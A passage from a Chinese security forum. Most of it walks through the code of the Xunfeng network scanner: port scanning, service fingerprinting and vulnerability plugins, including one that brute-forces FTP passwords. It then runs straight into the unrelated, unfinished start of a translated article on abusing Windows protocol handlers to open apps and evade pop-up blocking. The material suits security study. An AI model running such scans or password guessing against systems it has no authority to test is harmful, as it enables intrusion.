if (now_hour == int(ac_hour) and now_day % int(cy_day) == 0 and now_date not in ac_data) or NACHANGE[0]: # 判断是否进入扫描时段
ac_data.append(now_date) # 判断是否扫描过的列表
NACHANGE[0] = 0 # 置0，
log.write('info', None, 0, u'开始扫描')
s = start(CONFIG_INI)
s.masscan_ac = MASSCAN_AC
s.statistics = STATISTICS
s.run() # 开始扫描
time.sleep(60)
`s = start(CONFIG_INI)`初始化了一个`start`类
class start:
def __init__(self, config):
# 传入CONFIG_INI 配置，然后设置类的属性
self.config_ini = config
self.queue = Queue.Queue()
self.thread = int(self.config_ini['Thread'])
self.scan_list = self.config_ini['Scan_list'].split('\n')
self.mode = int(self.config_ini['Masscan'].split('|')[0])
self.icmp = int(self.config_ini['Port_list'].split('|')[0])
self.white_list = self.config_ini.get('White_list', '').split('\n')
然后回来额外设置了`masscan_ac`和`statistics`两个引用标识符（因为要与其他线程共享对它的修改，相当于全局变量
然后启动`s.run()`开始扫描
def run(self):
# 在start.py中定义的全局变量，端口列表
global AC_PORT_LIST
all_ip_list = []
for ip in self.scan_list:
# 处理CIDR格式的ip, eg:192.168.0.1/24
# 就不具体跟进看了，大约40行左右，涉及一些位运算格式转换啥的
if "/" in ip: ip = cidr.CIDR(ip)
if not ip:continue
# 处理 192.168.0.1-192.168.0.255 这类范围ip
ip_list = self.get_ip_list(ip)
# 对于白名单ip进行移除
for white_ip in self.white_list:
if white_ip in ip_list:
ip_list.remove(white_ip)
# 是否开始了masscan扫描，开启了mode置为1，否则为0
if self.mode == 1: # 使用masscan扫描
# 获取文件路径
self.masscan_path = self.config_ini['Masscan'].split('|')[2]
# 获取扫描速率
self.masscan_rate = self.config_ini['Masscan'].split('|')[1]
# 获取存活的ip
ip_list = self.get_ac_ip(ip_list)
self.masscan_ac[0] = 1
AC_PORT_LIST = self.masscan(ip_list) # 如果安装了Masscan即使用Masscan进行全端口扫描
if not AC_PORT_LIST: continue
self.masscan_ac[0] = 0
for ip_str in AC_PORT_LIST.keys(): self.queue.put(ip_str) # 加入队列
self.scan_start() # 开始扫描
else:
all_ip_list.extend(ip_list)
if self.mode == 0: # 不使用masscan扫描
if self.icmp: all_ip_list = self.get_ac_ip(all_ip_list)
for ip_str in all_ip_list: self.queue.put(ip_str) # 加入队列
self.scan_start() # TCP探测模式开始扫描
### 探测存活ip
`self.get_ac_ip()`是通过ping请求来探测主机存活，后期只对存活主机进行扫描
def get_ac_ip(self, ip_list):
try:
s = icmp.Nscan()
ipPool = set(ip_list)
return s.mPing(ipPool)
except Exception, e:
print 'The current user permissions unable to send icmp packets'
return ip_list
跟到`s.mPing()`中
def mPing(self, ipPool):
# 获得icmp的socket
Sock = self.__icmpSocket
Sock.settimeout(self.timeout)
# 设置icmp数据报
packet = self.__icmpPacket
recvFroms = set()
# 初始化一个多线程的icmp请求类
sendThr = SendPingThr(ipPool, packet, Sock, self.timeout)
# 启动多线程icmp扫描
sendThr.start()
while True:
try:
# 获取返回的ip地址
ac_ip = Sock.recvfrom(1024)[1][0]
if ac_ip not in recvFroms:
log.write("active", ac_ip, 0, None)
# 添加存活ip到`recvForms`
recvFroms.add(ac_ip)
except Exception:
pass
finally:
if not sendThr.isAlive():
break
# 返回两个集合的交集
return recvFroms & ipPool
`SendPingThr`类
class SendPingThr(threading.Thread):
def __init__(self, ipPool, icmpPacket, icmpSocket, timeout=3):
threading.Thread.__init__(self)
self.Sock = icmpSocket
self.ipPool = ipPool
self.packet = icmpPacket
self.timeout = timeout
self.Sock.settimeout(timeout + 1)
def run(self):
for ip in self.ipPool:
try:
self.Sock.sendto(self.packet, (ip, 0))
except socket.timeout:
break
except:
pass
time.sleep(self.timeout)
### masscan扫描全端口
这样就依次将存活的ip返回到了`start.py`中的`run()`中
# 获取到返回的存活ip
ip_list = self.get_ac_ip(ip_list)
# 将masscan_ac[0]置1，表示masscan正在使用
self.masscan_ac[0] = 1
# 利用masscan进行全端口扫描
AC_PORT_LIST = self.masscan(ip_list)
if not AC_PORT_LIST: continue
# 将masscan_ac[0]置0
self.masscan_ac[0] = 0
for ip_str in AC_PORT_LIST.keys(): self.queue.put(ip_str) # 加入队列
self.scan_start() # 开始扫描
跟进`self.masscan()`函数
def masscan(self, ip):
try:
if len(ip) == 0: return
sys.path.append(sys.path[0] + "/plugin")
m_scan = __import__("masscan")
result = m_scan.run(ip, self.masscan_path, self.masscan_rate)
return result
except Exception, e:
print e
print 'No masscan plugin detected'
跟进`m_scan.run()`
import os
def run(ip_list,path,rate):
try:
ip_file = open('target.log','w')
# 将存活的ip列表写到target.log中
ip_file.write("\n".join(ip_list))
ip_file.close()
# 进行过滤一些危险字符
#（issue中也有提到，并不能完全保证后台的安全，主要还是保证对密钥的管理
path = str(path).translate(None, ';|&`\n')
rate = str(rate).translate(None, ';|&`\n')
if not os.path.exists(path):return
# 用系统命令进行masscan全端口扫描
os.system("%s -p1-65535 -iL target.log -oL tmp.log --randomize-hosts --rate=%s"%(path,rate))
# 读取扫描结果
result_file = open('tmp.log', 'r')
result_json = result_file.readlines()
result_file.close()
del result_json[0]
del result_json[-1]
open_list = {}
# 对扫描结果进行格式化处理
for res in result_json:
try:
ip = res.split()[3]
port = res.split()[2]
if ip in open_list:
open_list[ip].append(port)
else:
open_list[ip] = [port]
except:pass
os.remove('target.log')
os.remove('tmp.log')
# 返回扫描结果
return open_list
except:
pass
这样，再次回到`start.py`的`run()`中
# 用masscan进行全端口扫描
AC_PORT_LIST = self.masscan(ip_list)
if not AC_PORT_LIST: continue
# 将self.masscan_ac[0]置0，表示结束使用
self.masscan_ac[0] = 0
# 将扫描结果存入队列中
for ip_str in AC_PORT_LIST.keys(): self.queue.put(ip_str)
# 开始扫描
self.scan_start()
### scan.py
#### 前期准备
`self.scan_start()`
def scan_start(self):
for i in range(self.thread): # 开始扫描
t = ThreadNum(self.queue)
t.setDaemon(True)
t.mode = self.mode
t.config_ini = self.config_ini
t.statistics = self.statistics
t.start()
self.queue.join()
跟进`ThreadNum`类
class ThreadNum(threading.Thread):
def __init__(self, queue):
# 赋值扫描队列
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
try:
# 非阻塞模式
task_host = self.queue.get(block=False)
except:
break
try:
if self.mode:
# 开启masscan扫描则使用扫描出的存活端口
port_list = AC_PORT_LIST[task_host]
else:
# 否则扫描特定的端口
port_list = self.config_ini['Port_list'].split('|')[1].split('\n')
_s = scan.scan(task_host, port_list) # 初始化scan
_s.config_ini = self.config_ini # 提供配置信息
_s.statistics = self.statistics # 提供统计信息
_s.run() # 启动
except Exception, e:
print e
finally:
self.queue.task_done()
跟到`scan`类的`run()`方法中
def run(self):
self.timeout = int(self.config_ini['Timeout']) # 获取timeout
for _port in self.port_list:
self.server = ''
self.banner = ''
self.port = int(_port)
self.scan_port() # 端口扫描
if not self.banner:continue #无banner则跳过（`NULL`表示暂未检测出，不会continue
self.server_discern() # 服务识别
if self.server == '':
web_info = self.try_web() # 尝试web访问
if web_info:
# log记录
log.write('web', self.ip, self.port, web_info)
time_ = datetime.datetime.now()
# 将扫描结果存入mongodb
mongo.NA_INFO.update({'ip': self.ip, 'port': self.port},
{"$set": {'banner': self.banner, 'server': 'web', 'webinfo': web_info,
'time': time_}})
#### 端口扫描
先是进行了`self.scan_port()`端口扫描
def scan_port(self):
try:
# 进行socket连接
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.connect((self.ip, self.port))
time.sleep(0.2)
except Exception, e:
return
try:
# 获取banner信息
self.banner = sock.recv(1024)
sock.close()
# 小于等于2则置为'NULL'
if len(self.banner) <= 2:
self.banner = 'NULL'
except Exception, e:
# 异常情况也置为'NULL'
self.banner = 'NULL'
# 日志记录
log.write('portscan', self.ip, self.port, None)
banner = ''
hostname = self.ip2hostname(self.ip)
time_ = datetime.datetime.now()
date_ = time_.strftime('%Y-%m-%d')
try:
# 进行unicode转换
banner = unicode(self.banner, errors='replace')
if self.banner == 'NULL': banner = ''
# 添加一条info信息
mongo.NA_INFO.insert({"ip": self.ip, "port": self.port, "hostname": hostname, "banner": banner, "time": time_})
# 统计信息+1
self.statistics[date_]['add'] += 1
except:
if banner:
# 原子操作，删除已存在的记录
history_info = mongo.NA_INFO.find_and_modify(
query={"ip": self.ip, "port": self.port, "banner": {"$ne": banner}}, remove=True)
if history_info:
# 新增info记录
mongo.NA_INFO.insert(
{"ip": self.ip, "port": self.port, "hostname": hostname, "banner": banner, "time": time_})
# 统计信息+1
self.statistics[date_]['update'] += 1
# 删除原先的_id
del history_info["_id"]
history_info['del_time'] = time_
history_info['type'] = 'update'
# 更新type和del_time之后插入一条新历史记录
mongo.NA_HISTORY.insert(history_info)
进行socket连接的时候，例如一些ssh之类的服务，会返回一些banner信息
#### 服务识别
def server_discern(self):
# 先尝试进行利用配置中的`Discern_server`进行快速匹配识别
for mark_info in self.config_ini['Discern_server']:
try:
name, default_port, mode, reg = mark_info
if mode == 'default':
# default表示用特定端口，匹配特定服务
if int(default_port) == self.port:
self.server = name
elif mode == 'banner':
# 利用banner信息进行正则匹配检测
matchObj = re.search(reg, self.banner, re.I | re.M)
if matchObj:
self.server = name
if self.server:break
except:
continue
# 对于未检测出服务并且端口不为80、443、8080的端口进行检测
if not self.server and self.port not in [80,443,8080]:
for mark_info in self.config_ini['Discern_server']: # 发包识别
try:
name, default_port, mode, reg = mark_info
if mode not in ['default','banner']:
# 进行发送特定的socket包获取banner信息，进行再次匹配
dis_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dis_sock.connect((self.ip, self.port))
mode = mode.decode('string_escape')
reg = reg.decode('string_escape')
dis_sock.send(mode)
time.sleep(0.3)
dis_recv = dis_sock.recv(1024)
dis_sock.close()
matchObj = re.search(reg, dis_recv, re.I | re.M)
if matchObj:
self.server = name
break
except:
pass
if self.server:
# 对于检测到的服务，进行log和info的记录
log.write("server", self.ip, self.port, self.server)
mongo.NA_INFO.update({"ip": self.ip, "port": self.port}, {"$set": {"server": self.server}})
`config_ini['Discern_server']`中的值
`config_ini['Discern_server']`中的特定socket数据包
#### web访问
def try_web(self):
title_str, html = '', ''
try:# 进行http/https请求，获取响应报文
if self.port == 443:
# 对于443端口的使用https协议
info = urllib2.urlopen("https://%s:%s" % (self.ip, self.port), timeout=self.timeout)
else:
info = urllib2.urlopen("http://%s:%s" % (self.ip, self.port), timeout=self.timeout)
html = info.read()
header = info.headers
except urllib2.HTTPError, e:
html = e.read()
header = e.headers
except:
return
if not header: return
# 对于gzip格式的响应，进行解压gzip
if 'Content-Encoding' in header and 'gzip' in header['Content-Encoding']:
html_data = StringIO.StringIO(html)
gz = gzip.GzipFile(fileobj=html_data)
html = gz.read()
try:
# 格式转码
html_code = self.get_code(header, html).strip()
if html_code and len(html_code) < 12:
html = html.decode(html_code).encode('utf-8')
except: pass
try:
# 获取titile信息
title = re.search(r'<title>(.*?)</title>', html, flags=re.I | re.M)
if title: title_str = title.group(1)
except: pass
try:
# 将响应的http报文设置成banner信息
web_banner = str(header) + "\r\n\r\n" + html
self.banner = web_banner
# 添加记录
history_info = mongo.NA_INFO.find_one({"ip": self.ip, "port": self.port})
if 'server' not in history_info:
tag = self.get_tag()
web_info = {'title': title_str, 'tag': tag}
return web_info
else:
if abs(len(history_info['banner'].encode('utf-8')) - len(web_banner)) > len(web_banner) / 60:
del history_info['_id']
history_info['del_time'] = datetime.datetime.now()
mongo.NA_HISTORY.insert(history_info)
tag = self.get_tag()
web_info = {'title': title_str, 'tag': tag}
date_ = datetime.datetime.now().strftime('%Y-%m-%d')
self.statistics[date_]['update'] += 1
log.write('info', None, 0, '%s:%s update web info'%(self.ip, self.port))
return web_info
except:
return
`get_tag`()
def get_tag(self):
try:
url = self.ip + ':' + str(self.port)
# 对web服务进行cms、组件容器、动态语言的识别
tag = map(self.discern, ['Discern_cms', 'Discern_con', 'Discern_lang'], [url, url, url])
# 过滤掉未识别出的服务
return filter(None, tag)
except Exception, e:
return
`discern()`
def discern(self, dis_type, domain):
file_tmp = {}
if int(domain.split(":")[1]) == 443: # http/https处理
protocol = "https://"
else:
protocol = "http://"
try:
# http请求
req = urllib2.urlopen(protocol + domain, timeout=self.timeout)
header = req.headers
html = req.read()
except urllib2.HTTPError, e:
html = e.read()
header = e.headers
except Exception, e:
return
# 对于'Discern_cms', 'Discern_con', 'Discern_lang'在数据库中都有自己的识别判断方式
for mark_info in self.config_ini[dis_type]:
if mark_info[1] == 'header':
try:
if not header: return
# 通过header方式则对对应的http头中的值进行匹配
# 如存在PHPSSIONID之类的值判定为php
if re.search(mark_info[3], header[mark_info[2]], re.I):
return mark_info[0]
except Exception, e:
continue
elif mark_info[1] == 'file':
if mark_info[2] == 'index':
try:
if not html: return
# 对于file index方式利用文件后缀，如1.php这样判断为php语言
if re.search(mark_info[3], html, re.I):
return mark_info[0]
except Exception, e:
continue
else:
# 防止重复检测
if mark_info[2] in file_tmp:
re_html = file_tmp[mark_info[2]]
else:
# 访问指定的robots.txt之类的文件
try:
re_html = urllib2.urlopen(protocol + domain + "/" + mark_info[2],
timeout=self.timeout).read()
except urllib2.HTTPError, e:
re_html = e.read()
except Exception, e:
return
file_tmp[mark_info[2]] = re_html
try:
# 检测指定文件中是否存在特定关键字
# 如robots.txt中存在'php168'则为php168cms
if re.search(mark_info[3], re_html, re.I):
return mark_info[0]
except Exception, e:
print mark_info[3]
`config_ini[Discern_lang]`中的值
`config_ini[Discern_cms]`中的值
* * *
最后回到`run()`中
web_info = self.try_web() # 尝试web访问
if web_info:
# 检测完web特征之后，就是进行简单的log记录，和更新数据库中info的值
log.write('web', self.ip, self.port, web_info)
time_ = datetime.datetime.now()
mongo.NA_INFO.update({'ip': self.ip, 'port': self.port},
{"$set": {'banner': self.banner, 'server': 'web', 'webinfo': web_info,
'time': time_}})
到这里，scan的扫描也就结束了，回到`start`类的`run()`中，剩下的就是不使用masscan的扫描
if self.mode == 0: # 不使用masscan扫描
# 如果设置了icmp检测，会对ip列表进行存活检测，只扫描存活ip
if self.icmp: all_ip_list = self.get_ac_ip(all_ip_list)
for ip_str in all_ip_list: self.queue.put(ip_str) # 加入队列
self.scan_start() # TCP探测模式开始扫描
这里的扫描过程中将ip列表改成了`all_ip_list`，其余的扫描过程也是通过`scan_start()`来调用`scan`类进行扫描。
到这里，整个`NAScan`资产扫描过程也就完成了，每次扫描完会sleep60秒，然后再次循环这个过程。
# vulscan
用于对扫出的资产进行漏洞扫描，具体的扫描过程依赖于`vuldb`中的插件形式进行扫描，做到可插拔的模式
json格式的插件
转换成json形式后就是
{
"name" : "Axis2信息泄露",
"info" : "HappyAxis.jsp 页面存在系统敏感信息。",
"level" : "低危",
"type" : "信息泄露",
"author" : "wolf@YSRC",
"url": "",
"keyword" : "tag:axis2",
"source" : 1,
"plugin" : {
"url" : "/axis2/axis2-web/HappyAxis.jsp",
"tag" : "敏感信息泄露",
"analyzing" : "keyword",
"analyzingdata" : "Axis2 Happiness Page",
"data" : "",
"method" : "GET"
}
}
python脚本格式的插件
# coding:utf-8
import ftplib
def get_plugin_info(): # 插件描述信息
plugin_info = {
"name": "FTP弱口令",
"info": "导致敏感信息泄露，严重情况可导致服务器被入侵控制。",
"level": "高危",
"type": "弱口令",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:ftp", # 推荐搜索关键字
}
return plugin_info
def check(ip, port, timeout): # 漏洞检测代码
user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
for user in user_list:
for pass_ in PASSWORD_DIC: # 密码字典无需定义，程序会自动为其赋值。
pass_ = str(pass_.replace('{user}', user))
try:
ftp = ftplib.FTP()
ftp.timeout = timeout
ftp.connect(ip, port)
ftp.login(user, pass_)
if pass_ == '': pass_ = 'null'
if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录"
return u"存在弱口令，账号：%s，密码：%s" % (user, pass_) # 成功返回结果，内容显示在扫描结果页面。
except:
pass
扫描过程较资产扫描偏简单些，一个280行左右的单文件
一开始定义了一些全局变量
# 添加系统路径
sys.path.append(sys.path[0] + '/vuldb')
sys.path.append(sys.path[0] + "/../")
# 获取mongodb账号配置
from Config import ProductionConfig
# 进行mongodb认证连接
db_conn = pymongo.MongoClient(ProductionConfig.DB, ProductionConfig.PORT)
na_db = getattr(db_conn, ProductionConfig.DBNAME)
na_db.authenticate(ProductionConfig.DBUSERNAME, ProductionConfig.DBPASSWORD)
# 做了几个集合的简化操作
na_task = na_db.Task
na_result = na_db.Result
na_plugin = na_db.Plugin
na_config = na_db.Config
na_heart = na_db.Heartbeat
# 线程锁
lock = thread.allocate()
# 一些全局变量
PASSWORD_DIC = []
THREAD_COUNT = 50
TIMEOUT = 10
PLUGIN_DB = {}
TASK_DATE_DIC = {}
WHITE_LIST = []
然后开始运行流程
if __name__ == '__main__':
init() # 进行init初始化操作
PASSWORD_DIC, THREAD_COUNT, TIMEOUT, WHITE_LIST = get_config() # 获取配置
thread.start_new_thread(monitor, ()) # 启动监控线程
while True:
task_id, task_plan, task_target, task_plugin = queue_get() # 任务信息获取
if task_id == '':
time.sleep(10)
continue
if PLUGIN_DB:
del sys.modules[PLUGIN_DB.keys()[0]] # 清理插件缓存
PLUGIN_DB.clear()
for task_netloc in task_target:
while True:
if int(thread._count()) < THREAD_COUNT:
if task_netloc[0] in WHITE_LIST: break
thread.start_new_thread(vulscan, (task_id, task_netloc, task_plugin))
break
else:
time.sleep(2)
if task_plan == 0: na_task.update({"_id": task_id}, {"$set": {"status": 2}})
## 准备工作
### init
用于获取插件的信息
def init():
# 若数据库中存在插件信息，则直接返回，否则重新获取
if na_plugin.find().count() >= 1: return
script_plugin = []
json_plugin = []
# 获取vuldb中的插件
file_list = os.listdir(sys.path[0] + '/vuldb')
time_ = datetime.datetime.now()
for filename in file_list:
try:
# 插件分为json和py两种格式
if filename.split('.')[1] == 'py':
script_plugin.append(filename.split('.')[0])
if filename.split('.')[1] == 'json':
json_plugin.append(filename)
except:
pass
for plugin_name in script_plugin:
try:
# py格式的插件直接导入，然后读取对于变量，插入到mongodb中
res_tmp = __import__(plugin_name)
plugin_info = res_tmp.get_plugin_info()
plugin_info['add_time'] = time_
plugin_info['filename'] = plugin_name
plugin_info['count'] = 0
na_plugin.insert(plugin_info)
except:
pass
for plugin_name in json_plugin:
try:
# json格式的插件，用json解析后读取对应变量，插入到mongodb中
json_text = open(sys.path[0] + '/vuldb/' + plugin_name, 'r').read()
plugin_info = json.loads(json_text)
plugin_info['add_time'] = time_
plugin_info['filename'] = plugin_name
plugin_info['count'] = 0
del plugin_info['plugin']
na_plugin.insert(plugin_info)
except:
pass
### get_config
def get_config():
try:
config_info = na_config.find_one({"type": "vulscan"})
pass_row = config_info['config']['Password_dic']
thread_row = config_info['config']['Thread']
timeout_row = config_info['config']['Timeout']
white_row = config_info['config']['White_list']
password_dic = pass_row['value'].split('\n')
thread_count = int(thread_row['value'])
timeout = int(timeout_row['value'])
white_list = white_row['value'].split('\n')
return password_dic, thread_count, timeout, white_list
except Exception, e:
print e
和之前nascan中的读取配置类似，只是这回读的是type为vulscan的配置
读取弱口令、线程数、timeout、白名单之类的配置参数，然后返回
### monitor
新起了个`monitor`监测线程，监测插件的使用情况
def monitor():
# 引入全局变量
global PASSWORD_DIC, THREAD_COUNT, TIMEOUT, WHITE_LIST
while True:
# 获取正在执行的任务
queue_count = na_task.find({"status": 0, "plan": 0}).count()
if queue_count:
# 如果有正在执行的任务，则置为1
load = 1
else:
# 否则根据当前线程数，来判断插件是否在被使用
ac_count = thread._count()
load = float(ac_count - 4) / THREAD_COUNT
if load > 1: load = 1
if load < 0: load = 0
# 更新mongodb中的heatbeat集合，有插件正在扫描
na_heart.update({"name": "load"}, {"$set": {"value": load, "up_time": datetime.datetime.now()}})
PASSWORD_DIC, THREAD_COUNT, TIMEOUT, WHITE_LIST = get_config()
# 然后根据load值进行不同时间的休眠
if load > 0:
time.sleep(8)
else:
time.sleep(60)
* * *
然后进入到`while True`的循环
通过`queue_get()`进行任务参数的获取
def queue_get():
global TASK_DATE_DIC
# 获取未加载的task，更新为启动状态
task_req = na_task.find_and_modify(query={"status": 0, "plan": 0}, update={"$set": {"status": 1}}, sort={'time': 1})
if task_req:
# 如果存在，在TASK_DATE_DIC记录task，然后返回任务信息
TASK_DATE_DIC[str(task_req['_id'])] = datetime.datetime.now()
return task_req['_id'], task_req['plan'], task_req['target'], task_req['plugin']
else:
# 获取 plan != 0 的task列表
task_req_row = na_task.find({"plan": {"$ne": 0}})
if task_req_row:
for task_req in task_req_row:
# 判断是否需要再次启动任务
if (datetime.datetime.now() - task_req['time']).days / int(task_req['plan']) >= int(task_req['status']):
if task_req['isupdate'] == 1:
# 任务更新后，需要重新从info集合中获取ip和port
# 更新task集合的target
task_req['target'] = update_target(json.loads(task_req['query']))
na_task.update({"_id": task_req['_id']}, {"$set": {"target": task_req['target']}})
# 更新task集合中的status自增1
na_task.update({"_id": task_req['_id']}, {"$inc": {"status": 1}})
# 在TASK_DATE_DIC记录task
TASK_DATE_DIC[str(task_req['_id'])] = datetime.datetime.now()
# 返回task信息
return task_req['_id'], task_req['plan'], task_req['target'], task_req['plugin']
return '', '', '', ''
回到`__main__`中
# 获取任务信息
task_id, task_plan, task_target, task_plugin = queue_get()
if task_id == '':
# 没有获取到task配置则sleep10秒后继续获取
time.sleep(10)
continue
if PLUGIN_DB:
# 当有插件缓存时清理插件缓存
# 后面扫描时会导入插件模块，删除之前导入的模块
del sys.modules[PLUGIN_DB.keys()[0]]
PLUGIN_DB.clear()
for task_netloc in task_target:
while True:
# 控制线程数
if int(thread._count()) < THREAD_COUNT:
# 剔除白名单ip
if task_netloc[0] in WHITE_LIST: break
# 启动vulscan扫描线程
thread.start_new_thread(vulscan, (task_id, task_netloc, task_plugin))
break
else:
time.sleep(2)
# task_plan == 0 为一次性任务
# 更新 status = 2
if task_plan == 0: na_task.update({"_id": task_id}, {"$set": {"status": 2}})
## vulscan
`__init__`
def __init__(self, task_id, task_netloc, task_plugin):
self.task_id = task_id
self.task_netloc = task_netloc
self.task_plugin = task_plugin
self.result_info = ''
self.start()
设置好类变量，然后进入`start()`
def start(self):
self.get_plugin_info()
if '.json' in self.plugin_info['filename']: # json检测模式
try:
self.load_json_plugin() # 读取漏洞标示
self.set_request() # 标示符转换为请求
self.poc_check() # 检测
except Exception, e:
return
else: # py脚本检测模式
plugin_filename = self.plugin_info['filename']
self.log(str(self.task_netloc) + "call " + self.task_plugin)
if task_plugin not in PLUGIN_DB:
plugin_res = __import__(plugin_filename)
setattr(plugin_res, "PASSWORD_DIC", PASSWORD_DIC) # 给插件声明密码字典
PLUGIN_DB[plugin_filename] = plugin_res
try:
self.result_info = PLUGIN_DB[plugin_filename].check(str(self.task_netloc[0]), int(self.task_netloc[1]),TIMEOUT)
except:
return
self.save_request() # 保存结果
### json格式检测
先`load_json_plugin()`加载配置脚本
def get_plugin_info(self):
info = na_plugin.find_one({"name": self.task_plugin})
self.plugin_info = info
然后转换为http请求，返回请求句柄
def set_request(self):
# 构建url
url = 'http://' + self.task_netloc[0] + ":" + str(self.task_netloc[1]) + self.plugin_info['plugin']['url']
if self.plugin_info['plugin']['method'] == 'GET':
# 进行GET请求
request = urllib2.Request(url)
else:
# 否则进行post请求
request = urllib2.Request(url, self.plugin_info['plugin']['data'])
self.poc_request = request
然后验证poc是否有效
def poc_check(self):
try:
# 进行http请求，获取header和body信息
res = urllib2.urlopen(self.poc_request, timeout=30)
res_html = res.read(204800)
header = res.headers
# res_code = res.code
except urllib2.HTTPError, e:
# res_code = e.code
header = e.headers
res_html = e.read(204800)
except Exception, e:
return
try:
# 获取编码，然后转码
html_code = self.get_code(header, res_html).strip()
if html_code and len(html_code) < 12:
res_html = res_html.decode(html_code).encode('utf-8')
except:
pass
an_type = self.plugin_info['plugin']['analyzing']
vul_tag = self.plugin_info['plugin']['tag']
analyzingdata = self.plugin_info['plugin']['analyzingdata']
if an_type == 'keyword':
# 如果是关键词检测，判断是正则还是MD5的检测，然后进行比对
if analyzingdata.encode("utf-8") in res_html: self.result_info = vul_tag
elif an_type == 'regex':
if re.search(analyzingdata, res_html, re.I): self.result_info = vul_tag
elif an_type == 'md5':
md5 = hashlib.md5()
md5.update(res_html)
# 比对成功，则返回插件tag
if md5.hexdigest() == analyzingdata: self.result_info = vul_tag
### py脚本检测
# 获取插件文件名
plugin_filename = self.plugin_info['filename']
self.log(str(self.task_netloc) + "call " + self.task_plugin)
if task_plugin not in PLUGIN_DB:
# 不在PLUGIN_DB中则导入
plugin_res = __import__(plugin_filename)
setattr(plugin_res, "PASSWORD_DIC", PASSWORD_DIC) # 给插件声明密码字典
PLUGIN_DB[plugin_filename] = plugin_res # 添加到PLUGIN_DB中
try:
# 启用py脚本的check方法，并设置timeout
self.result_info = PLUGIN_DB[plugin_filename].check(str(self.task_netloc[0]), int(self.task_netloc[1]),TIMEOUT)
except:
return
### 保存请求结果
def save_request(self):
# 判断是否扫描出结果了
if self.result_info:
try:
time_ = datetime.datetime.now()
self.log(str(self.task_netloc) + " " + self.result_info)
# 没有这条扫描记录则插件扫出的记录+1
v_count = na_result.find(
{"ip": self.task_netloc[0], "port": self.task_netloc[1], "info": self.result_info}).count()
if not v_count: na_plugin.update({"name": self.task_plugin}, {"$inc": {'count': 1}})
vulinfo = {"vul_name": self.plugin_info['name'], "vul_level": self.plugin_info['level'],
"vul_type": self.plugin_info['type']}
w_vul = {"task_id": self.task_id, "ip": self.task_netloc[0], "port": self.task_netloc[1],
"vul_info": vulinfo, "info": self.result_info, "time": time_,
"task_date": TASK_DATE_DIC[str(self.task_id)]}
# 添加扫描结果记录
na_result.insert(w_vul)
except Exception, e:
pass
到此也就完成了vulscan的扫描过程。
# 最后
巡风中对于扫描的分工，多线程的处理都有很多值得学习和借鉴的地方。而且几乎都有增加一些心跳线程，用于监测。
分析中难免有些不足或者错误，欢迎大佬们指出！
# Reference
<https://landgrey.me/xunfeng-nascan-analysis/> | 社区文章 |
# 【技术分享】滥用协议载入本地文件，绕过HTML5沙盒
|
##### 译文声明
本文是翻译文章，文章来源：brokenbrowser
原文地址：<https://www.brokenbrowser.com/abusing-of-protocols/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **Ox9A82**](http://bobao.360.cn/member/contribute?uid=2676915949)
**预估稿费：250RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
10月25日，@MSEdgeDev研究员在twitter上发出了一个链接，它引起了我的注意。因为当我用Chrome浏览器点击这个链接时Windows应用商店被打开了。这可能不会让你感到惊讶，但它确实是让我吃了一惊！
因为据我所知，Chrome具有这样一个良好的特性：在打开外部程序之前会首先询问用户。但是点击这个链接之后却并没有询问用户就直接打开了。
这一点是与众不同的，它引起了我的注意，因为我从来没有允许过在Chrome中打开Windows应用商店。的确是有一些扩展和协议可以自动打开，但是我却从来没有批准过Windows应用商店自动打开。
这个Twitter短链接首先会重定向到
<https://aka.ms/extensions-storecollection>
然后它又重定向到另一个有趣的链接：
ms-windows-store://collection/?CollectionId=edgeExtensions
这是一个我不知道的协议，所以我立即尝试在注册表中搜索它，因为大多数协议的关联信息都储存在注册表中。 搜索“ms-windows-store”立即返回了PackageId中的字符串结果，这似乎是Windows应用商店程序。
请注意我们是处在一个名为“Windows.Protocol”的注册表键中，我上下滚动了一下，看看是否存在其他应用程序。结果发现，许多的程序（包括MS
Edge）都注册有自己的协议。这是一个好消息，因为它直接从浏览器开辟了一个全新的攻击面。但先让我们按F3看看是否可以找到其他的搜索匹配。
(从上图可以看出)ms-windows-store：协议似乎可以接受搜索参数，所以我们可以尝试直接从Google
Chrome浏览器来打开我们的自定义搜索。并且在事实上，Windows应用商店似乎是使用Edge引擎来渲染HTML的，这就很有趣了，因为我们可以尝试对它进行XSS或者如果是本地的应用可以尝试发送大量的数据，看看会发生什么事情。
但我们暂时不去尝试这些，让我们先回到注册表编辑器中，继续按F3看看还能找到什么。
这个东西也很有趣，因为它给了我们如何快速的找到更多协议的线索，如果他们都是用字符串“URL：”作为开头的。让我们来重新搜索一下“URL：”，看看我们能找到什么。按[Home]键可以使我们返回到注册表顶部（译注：因为注册表编辑器默认从当前打开的路径开始搜索，所以作者要先回到根目录去），搜索“URL：”立即就返回了第一个匹配：“URL：about：blank”，这证实了我们的猜测。
再按一次F3，我们找到了bingnews（译注：必应新闻的App？？？）的协议，但这次Chrome需要经过我们同意才能打开它。没关系，让我们在Edge上试试看会发生什么。它成功的打开了！下一个匹配的注册表项是计算器的协议。这能成功的工作吗？
Wow!我想这会伤害到一些exp作者的感情。他们现在还要弹点什么程序出来呢？（译注:因为漏洞POC一般都是弹计算器）calc和notepad不需要任何内存破坏漏洞就可以被打开，而cmd.exe现在又已经弃用了取而代之的是powershell。微软毁掉了你们这些人的乐趣。
这可能是一个很好的机会来枚举所有可加载的协议，来找出哪些应用程序可以接受参数。所以我们可以尝试注入代码。代码可能是二进制的也可能是纯JavaScript，这取决于应用程序是怎么编写（译注：coded，也有可能是指编码？）的以及它是如何处理参数的。这里有很多有趣的东西可以去搞，如果我们继续寻找协议，我们会发现可以打开大量的应用程序，甚至包括糖果大爆险（译注：国外的一个消消乐游戏？），我甚至都不知道我的电脑上安装过它。
通过这几次F3我学到了很多。例如，有一个microsoft-edge：协议，它会在新标签页中加载URL。它看起来似乎意义不大，直到我们想起了HTML页面应该有一个打开上限。弹出窗口屏蔽器(Pop-up
Blocker)会阻止我们打开20个
microsoft-edge:http://www.google.com
标签页吗？
